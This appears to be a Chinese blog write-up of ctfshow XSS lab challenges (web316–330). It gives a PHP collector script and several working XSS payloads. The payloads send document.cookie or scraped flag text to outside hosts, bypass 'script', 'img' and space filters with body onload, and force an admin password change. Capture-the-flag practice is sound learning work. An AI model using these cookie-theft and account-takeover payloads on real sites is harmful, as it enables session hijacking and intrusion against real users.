ctfshow xss

ctfshow xss

做题前需要搭建网站接收flag

2.php代码如下

1
2
3
4
5
6
<?php 
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>

接收GET传来的参数,并写在flag.php中

xss总结

web316

payload:

1
<script>window.location.href='http://47.115.224.235/2.php?c='+document.cookie</script>

打开flag.php,得到flag

web317

过滤了script

利用body标签

由于这种攻击方法向量,在给定页面中只有一个body标签,有些人可能认为它不起作用,但实际上,所有浏览器都会把它当事件处理器(Event Handler)来执行。在这里,可以在onpageshow事件中用提交body元素的方法,形成XSS Payload,当其中的body元素被解析后就会触发Payload

1
<body onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web318,319

过滤了img,payload与317相同

1
<body onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web320-326

过滤空格,使用/绕过

1
<body/onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web327

image

发件人和收件人都要填写admin,否则会发送失败

信的内容填写payload:

1
<body onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web328

注册账号,账号中填写payload语句,用这个账号登陆

后台管理员查看登录界面时,会执行js代码,将管理员cookie发出去

1
<script>window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie</script>

得到cookie后,bp抓包修改得到权限,可以查看flag

web329

该题得到cookie会快速失效,因此换一种姿势,我们的xss代码会在用户管理里执行,可以直接把flag发到我们服务器里

1
2
3
4
5
6
7
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')==0){
window.location.href='http://fe6e643.cpolar.top/2.php?c='+value.innerHTML;
}
});
</script>

indexof 方法https://www.w3school.com.cn/jsref/jsref_indexOf.asp

web 330

image

借用修改密码界面尝试修改管理员密码

在用户名触发script语句

注册账号用户名填payload,密码123

1
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

用这个账号和密码去登录一下。登录完成后,管理员admin的密码就被成功修改成123了,此时即可成功登录。


ctfshow xss
http://example.com/2023/10/22/刷题/ctfshow xss/
作者
Englobe
发布于
2023年10月22日
许可协议